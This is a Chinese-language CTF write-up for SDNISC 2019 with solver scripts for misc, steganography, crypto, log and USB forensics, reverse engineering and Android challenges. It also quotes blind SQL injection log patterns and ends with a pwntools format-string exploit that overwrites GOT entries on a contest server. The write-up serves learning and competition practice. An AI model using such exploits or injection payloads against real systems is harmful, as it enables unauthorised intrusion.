Sdnisc-2019


0x00 前言

  • 菜是原罪。
  • 目前还未更完,持续更新中…

0x01 MISC

0x001 签到题

  • 拖入IDA查看字符串即可得到flag,或者不拖入IDA,直接记事本打开搜索flag也能找到。

0x002 上下左右

  • 脑洞大开的题目,考察PIL库或者turtal库等的使用。

  • D代表Down(下),R代表Right(右),L代表Left(左),U代表UP(上)。

  • 脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- coding: UTF-8 -*-
from PIL import Image
#xyij这几个可以根据情况自行在合适的范围内调整。
x = 200
y = 200
i = 5
j = 5
im = Image.new("RGB", (x, y))
im.putpixel((i,j),(255,255,255))
with open('C:\\Users\\LiuLian\\Desktop\\flag.txt','r') as file:
str = file.read()
for s in str:
if s == 'D':
j+=1
elif s == 'R':
i+=1
elif s == 'U':
j-=1
elif s == 'L':
i-=1
im.putpixel((i, j), (255, 255, 255))
im.show()
  • 运行脚本就能画出来flag了。

0x003 压缩包的秘密

  • 用16进制查看器查看文件发现压缩包flag.zip的每相邻两个字节互换了位置,写个脚本还原回去。脚本如下:
1
2
3
4
5
6
7
8
9
10
# -*- coding: UTF-8 -*-
f = open('C:\\Users\\LiuLian\\Desktop\\misc3\\flag.zip','rb')
ff = open('C:\\Users\\LiuLian\\Desktop\\misc3\\newflag.zip','wb')
str = f.read()

for i in range(0,len(str),2):
ff.write(str[i+1])
ff.write(str[i])
f.close()
ff.close()
  • 还原以后发现压缩包有密码,用16进制查看器查看发现尾部有一段字符串dGhlcmUtaXMtaGFsZi1wd2Qtc2hlbnNp,是一段base64,解码以后是there-is-half-pwd-shensi,也就是说shensi是压缩包密码的一半。
  • 那么掩码爆破另外6个字符即可,不到半分钟就能爆破出来,爆破得到最终密码为sdniscshensi,解压压缩包即可得到flag。

0x02 Stego

0x001 啾咪~

  • 又一道想暴打出题人的题目,这道题竟然有一半左右的人做出来???

  • 用Stegosolve打开,Analyse-Data Extract。

  • 这么勾选(这道题是BGR)然后点Preview,能找到一串base64(出题人还不忘提醒这就是flag.txt),解码得到flag。

0x002 我和我的祖国

  • 考察音频隐写。
  • 将附件拖入Audacity,在末尾,有猫腻。

  • 向上表示1,向下表示0得到0110011001101100011000010110011101111011011001100110010100111000011001100110010000110100001101100011100000110010001100000011010100110001001100110110001000110101001101000110001101100100011001000011010100111001011000100011000000110100001110000011010100110111001100010011100101100110001110010011010001111101
  • bin转ascii得到flag。

0x003 你真的很不错

  • 根据题目提示要求用winrar,考虑到这道题目是NTFS流隐写。

  • 打开工具NtfsStreamsEditor,用winrar将附件flag.rar里面的内容解压出来,然后在NtfsStreamsEditor搜索,找到flag.png。

  • 导出flag.png,查看该图片即可得到flag。

0x03 Crypto

0x001 简单的密码学

  • 考察培根密码,解密得到BACONEASY

0x003 被加密的消息

  • 考察RSA相关知识。

  • 后续会写一篇关于RSA的博客, 解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2
import libnum
e = 65537
n = 132874559018378928431039440207926203692459793792348908672840445003264268709142821089064063059664054997624354040367339834740402484489217092916932927523665031792688652405172441259540233143526085691290500429921362666149858204259223146323188880312113596285869242888916181594189809400830983088384594648368192585387
dp = 591317922916712527852981087692920294081526731184970969084059479425641071480269272618065340614260809042370271672930352969371906804874484366604552515101473
c = 105561263344197224500437985369890277605607419491189003046055021715638244356677672489534224683808733691744645034854814587326664189059178955870261337977176277155277781998771630340367082086864012637516012166291357901866101513273848851471805311144501065601880125348980410104702516232148506526616670074084982119236

for i in range(1,65538):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)%phi
print libnum.n2s(pow(c,d,n))

0x04 Forensic

0x001 日志分析

  • 考察盲注日志分析以及写脚本(正则)的能力。

  • 比赛的时候脚本写不出来,手撕的,费眼而且费了不少时间…

  • 找规律可以得到如上图所示: 在每个C1、C2、C3、C4...区间中,从下往上找第一个状态码200右边的那个值为215的日志对应的%3E后面的那个数。。。那个数就是flag中某一位的ascii码, 而且从C1一直到C38~ 依次找到的是flag的第一位、第二位….第三十八位。
  • 至于怎么找到的这个规律…WEB选手可能有别的办法,但卑微菜鸡是把flag{正向输出得到ascii码为102 108 97 103 123,然后通过ascii码去找对应的215(Response包的长度),然后基本找到规律以后又去验证了一下第38位},根据规律果然能得到应有的结果125
  • 这种找规律的方法带有猜的因素, 但是前面几道题目的flag大都是38位:flag{ + 32位的16进制(大概是md5), + }, 能做出来这个也算是我走运吧~

  • 赛后写了个匹配脚本(re大法好):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: UTF-8 -*-
import re

f = open('C:\\Users\\LiuLian\\Desktop\\access.log','r')
buf = f.read()
#匹配所有结果为215的字符串, 匹配两个部位,第一个部位匹配的是C1、C2....Cn,第二个部位匹配flag的Ascii码值。
pattern = r'LIMIT%200%2C1%29%2C(\w+)%2C1%29%29%3E(\w+)%20AND%20%27ZeOx%27%3D%27ZeOx HTTP/1.1" 200 215'
pattern = re.compile(pattern)
#利用findall方法大概可以方便一些吧。
L = re.findall(pattern,buf)

flag = ''
Cn = 1
for i in range(len(L)):
CurCn = int(L[i][0])
if CurCn > Cn:
flag += chr(int(L[i-1][1]))
Cn = CurCn
print flag

f.close()

0x004 流量分析

  • 考察USB流量分析。

  • 用wireshark从附件hack.pcapng中可以提取出来一个zip文件,名字为flag.zip。

  • zip的密码可以通过分析USB流量获得。

USB协议的数据部分在Leftover Capture Data域之中,在Mac和Linux下可以用tshark命令可以将 leftover capture data单独提取出来。

  • Mac或者Linux下的命令为tshark -r hack.pcapng -T fields -e usb.capdata,如果想导入usbdata.txt文件中,后面加上参数:>usbdata.txt

  • Windows下如果安装了wireshark,可以在wireshark的安装目录下找到tshark.exe,调用cmd定位到wireshark的安装目录下,并将hack.pcapng也放到安装目录下,用命令tshark.exe -r hack.pcapng -T fields -e usb.capdata,同样如果要导入到txt文件中,后面也要加上参数。

键盘数据包的数据长度为8个字节,击键信息集中在第3个字节,每次key stroke都会产生一个keyboard event usb packet。

鼠标数据包的数据长度为4个字节,第一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平左移多少像素。第三个字节与第二字节类似,代表垂直上下移动的偏移。

  • 下方通过python字典的形式列出了usb keyboard的映射关系。
1
2
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
  • 所以完整解密脚本如下(已经将Leftover Capture Data提取到usbdata.txt中):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding: UTF-8 -*-
f = open('C:\\Users\\LiuLian\\Desktop\\usbdata.txt','r')
Lines = f.readlines()
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

message = ''

for line in Lines:
if len(line.replace('\n',''))!=16:
pass
elif normalKeys.get(line[4:6]) != None:
message += normalKeys.get(line[4:6])
print message
  • 得到压缩包密码,解压即可得到flag.txt,里面就有flag。

0x05 Re

0x001Python是世界上最好的语言

  • 比赛时这道题反编译总是不成功,还以为是工具出了问题…结果比完以后大佬告诉我pyc的文件头被改了…

  • 正常的pyc的文件头应该是03 F3 0D 0A,而这道题被改成20 19 0D 0A, 把文件头再改回来以后就可以正常反编译了。

  • 这算法和素数有关,懒得逆回去了,直接正向爆破(因为知道了输出)。

  • 根据其他题的flag, 这道题目的flag也会是由0123456789abcdef以及lg{}(用来组成flag)组成,那么只需要解出来这些里的每个字符的输出, 然后去跟题目给的输出进行比对就能找出flag。(如果觉得flag还会由其他字符组成,可自行尝试,原理一样)

  • 所以Python脚本如下,写脚本的能力还是有待提高啊!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding: UTF-8 -*-
import math
#可能存在于flag中的字符。
flagtable = '0123456789abcdeflg{}'
#定义的一个字典,用于保存flag字符及其对应的键值。
dic = {}

Sd = []
SdSd = []
for SdSdSdSd in flagtable:
Sd.append(ord(SdSdSdSd))

def func(SdSdSd):
SdSdSdSdSd = True
SdSdSdSd = 2
sq = int(math.sqrt(SdSdSd)) + 1
while SdSdSdSd <= sq:
if SdSdSd % SdSdSdSd == 0:
SdSd.append(SdSdSdSd + 1)
SdSdSdSdSd = False
func(SdSdSd / SdSdSdSd)
SdSdSdSd += 1
break
SdSdSdSd += 1
if SdSdSdSdSd:
SdSd.append(SdSdSd + 1)

for SdSdSdSd in Sd:
func(SdSdSdSd)
dic.update( {chr(SdSdSdSd) : SdSd} )#这个位置根据题目的py脚本改的。
SdSd = []

#自己定义了一个根据键值寻找键的函数,python好像没有现成的函数?
def get_key(d,value):
return [k for k,v in d.items() if v == value]

#这三行把out.txt的内容转换成了一个List的形式, print s以后直接把输出结果复制粘贴,然后赋值给outList就行~
#outstr = '''['3', '4', '18'] ['3', '3', '4', '4', '4'] ['98'] ['104'] ['4', '42'] ['102'] ['3', '8', '8'] ['3', '3', '3', '3', '4'] ['4', '4', '12'] ['3', '4', '18'] ['3', '6', '6'] ['3', '4', '18'] ['8', '8'] ['3', '8', '8'] ['3', '4', '18'] ['4', '4', '12'] ['4', '20'] ['4', '20'] ['4', '20'] ['3', '3', '3', '3', '4'] ['102'] ['102'] ['4', '18'] ['3', '3', '6', '6'] ['4', '18'] ['4', '20'] ['4', '20'] ['98'] ['3', '6', '6'] ['3', '8', '8'] ['3', '8', '8'] ['3', '3', '6', '6'] ['102'] ['4', '18'] ['3', '3', '6', '6'] ['3', '3', '6', '6'] ['3', '3', '14'] ['6', '6', '6']'''
#s = outstr.replace('\'' , '').replace('] [' , '] , [')
#print s

outList = [[3, 4, 18] , [3, 3, 4, 4, 4] , [98] , [104] , [4, 42] , [102] ,
[3, 8, 8] , [3, 3, 3, 3, 4] , [4, 4, 12] , [3, 4, 18] , [3, 6, 6] ,
[3, 4, 18] , [8, 8] , [3, 8, 8] , [3, 4, 18] , [4, 4, 12] , [4, 20] ,
[4, 20] , [4, 20] , [3, 3, 3, 3, 4] , [102] , [102] , [4, 18] ,
[3, 3, 6, 6] , [4, 18] , [4, 20] , [4, 20] , [98] , [3, 6, 6] ,
[3, 8, 8] , [3, 8, 8] , [3, 3, 6, 6] , [102] , [4, 18] , [3, 3, 6, 6] ,
[3, 3, 6, 6] , [3, 3, 14] , [6, 6, 6]]

flag = ''

for key in outList:
flag += get_key(dic,key)[0]
print flag

0x06 Moble

0x001 简单的apk

  • 根据关键算法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

public String check(String paramString)
{
Object localObject = paramString.toCharArray();
if (localObject.length == 0) {
return "请输入内容";
}
int i = 0;
for (int j = 0; j < localObject.length; j++)
{
if (localObject[j] < '0') {
return "你的输入应该为纯数字!";
}
if (localObject[j] > '9') {
return "你的输入应该为纯数字!";
}
}
if (localObject.length != 15) {
return "出错啦!";
}
localObject = "";
for (j = i; j < paramString.length(); j++)
{
StringBuilder localStringBuilder = new StringBuilder();
localStringBuilder.append((String)localObject);
i = paramString.charAt(j);
localStringBuilder.append(new char[] { 83, 100, 110, 105, 115, 99, 50, 48, 49, 57 }[(i - 48)]);
localObject = localStringBuilder.toString();
}
if (((String)localObject).equals("sic19Sdc02ds10c"))
{
localObject = new StringBuilder();
((StringBuilder)localObject).append("flag{");
((StringBuilder)localObject).append(md5(paramString));
((StringBuilder)localObject).append("}");
return ((StringBuilder)localObject).toString();
}
return "你输入的数字不正确";
}
  • 可以得到脚本如下:
1
2
3
4
5
6
7
8
9
10
11
# -*- coding: UTF-8 -*-
import md5
s = 'sic19Sdc02ds10c'
L = [83, 100, 110, 105, 115, 99, 50, 48, 49, 57]
input = ''
for i in s:
input += str(L.index(ord(i)))

flag = 'flag{' + md5.md5(input).hexdigest() + '}'

print flag

0x002 贪吃蛇

  • 关键函数在这俩

  • 根据代码可以得知,paramInt1应该为90, 然后由paramInt1、paramInt2、paramInt3组成的字符串总共8位。

  • 没必要逆算法,直接正向爆破。

  • 鉴于str的形式可能是90XXXXXX(其中第一个X取值为1~9),也可能是900XXXXX,所以采用如下方法进行爆破。(应该会有更优的方案。)

  • encrypt(int paramInt1, int paramInt2, int paramInt3)变成encrypt(int paramInt1),下面只保留((StringBuilder)localObject).append(String.valueOf(paramInt1));,这样算是为了方便爆破吧…

  • 爆破脚本如下(Java):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
package test_for_ctf;

import java.math.BigInteger;
import java.security.MessageDigest;

public class test {
public static class encode
{
private static final String Code = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

public static String encode(String paramString)
{
if ((paramString != null) && (paramString.length() != 0))
{
char[] arrayOfChar = paramString.toCharArray();
StringBuilder localStringBuilder1 = new StringBuilder();
for (int i = 0; i < arrayOfChar.length; i++)
{
StringBuilder localStringBuilder2;
String localObject;
for (localObject = Integer.toBinaryString(arrayOfChar[i]); ((String)localObject).length() < 8; localObject = localStringBuilder2.toString())
{
localStringBuilder2 = new StringBuilder();
localStringBuilder2.append("0");
localStringBuilder2.append((String)localObject);
}
localStringBuilder1.append((String)localObject);
}
while (localStringBuilder1.length() % 6 != 0) {
localStringBuilder1.append("0");
}
Object localObject = String.valueOf(localStringBuilder1);
arrayOfChar = new char[((String)localObject).length() / 6];
int i = 0;
for (i = 0; i < arrayOfChar.length; i++)
{
int j = Integer.parseInt(((String)localObject).substring(0, 6), 2);
localObject = ((String)localObject).substring(6);
arrayOfChar[i] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(j);
}
localObject = new StringBuilder(String.valueOf(arrayOfChar));
if (paramString.length() % 3 == 1) {
((StringBuilder)localObject).append("==");
} else if (paramString.length() % 3 == 2) {
((StringBuilder)localObject).append("=");
}
for (i = 76; i < ((StringBuilder)localObject).length(); i += 76) {
((StringBuilder)localObject).insert(i, "\r\n");
}
return String.valueOf(localObject);
}
return paramString;
}
}
public static String encrypt(int paramInt1)
{
Object localObject = new StringBuilder();
((StringBuilder)localObject).append(String.valueOf(paramInt1));
String str = ((StringBuilder)localObject).toString();
if (str.length() == 8) {
try
{
localObject = MessageDigest.getInstance("md5").digest(encode.encode(str).getBytes());
localObject = new BigInteger(1, (byte[])localObject).toString(16);
for (paramInt1 = 0; paramInt1 < 32 - ((String)localObject).length(); paramInt1++)
{
StringBuilder localStringBuilder = new StringBuilder();
localStringBuilder.append("0");
localStringBuilder.append((String)localObject);
localObject = localStringBuilder.toString();
}
if (((String)localObject).equals("cc3fa9c107c0d8b48d6af32d26eacf2a"))
{
localObject = new StringBuilder();
((StringBuilder)localObject).append("flag{");
((StringBuilder)localObject).append(str);
((StringBuilder)localObject).append("}");
return ((StringBuilder)localObject).toString();
}
return "something wrong";
}
catch (Exception localException)
{
throw new RuntimeException("没有这个md5算法");
}
}
return "something wrong";
}
public static void main(String[] args) {

//爆破str格式为900xxxxx的情况
for(int i = 0;i<=99999;i++)
{
String str = new String("900");
str += i;
int a = Integer.parseInt(str);
String sss = encrypt(a);
if(sss!="something wrong") {
System.out.println(sss);
}
}
//爆破str格式为90xxxxxx的情况
for(int i = 0;i<=999999;i++)
{
String str = new String("90");
str += i;
int a = Integer.parseInt(str);
String sss = encrypt(a);
if(sss!="something wrong") {
System.out.println(sss);
}
}
}
}
  • 运行得到flag。

0x07 Pwn

0x001 pwn_MinZhu

  • 考察格式化字符串漏洞。

  • 程序首先要求输入一段Key并进行验证。

  • 这个Key手撕就能弄出来,解出来以后是xNd9y6

  • 也可以用angr(借鉴表哥思路)

1
2
3
4
5
6
7
import angr

p = angr.Project("./pwn_MinZhu")
state = p.factory.entry_state()
sm = p.factory.simulation_manager(state)
res = sm.explore(find=0x08048817,avoid=0x0804882B)
print res.found[0].posix.dumps(0)
  • 通过验证后可以来到这个函数,并且发现这个函数存在明显的格式化字符串漏洞。

  • 这里的dword_804A064为1, 也就意味着循环只能执行一次,似乎一次循环是不够的,所以可以先通过修改这个值来让循环执行更多次数从而多次利用格式化字符串漏洞。

  • 发现了cat flag,但需要满足dword_804A060 == 0x2019

  • 所以基本思路确定了, 第一次循环先改掉dword_804A064的值,让这个值大于等于3, 第二次循环让 dword_804A060 == 0x2019, 第三次循环把putsgot换为cat flag所在的地址,这里也可以更换putchargot

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

c = remote('172.29.1.28',9999)

#c = process('./pwn_MinZhu')

elf = ELF('./pwn_MinZhu')

putsgot = elf.got['puts']

totalnum = 0x0804A064

targetnum = 0x0804A060

system_addr = 0x08048696

pwd = 'xNd9y6'

c.recvuntil('Key:')

c.sendline(pwd)

c.recvuntil('your msg:')

payload1 = fmtstr_payload(4,{totalnum:0x03})

c.sendline(payload1)

payload2 = fmtstr_payload(4,{targetnum:0x2019})

c.sendline(payload2)

payload3 = fmtstr_payload(4,{putsgot:system_addr})

c.sendline(payload3)

c.interactive()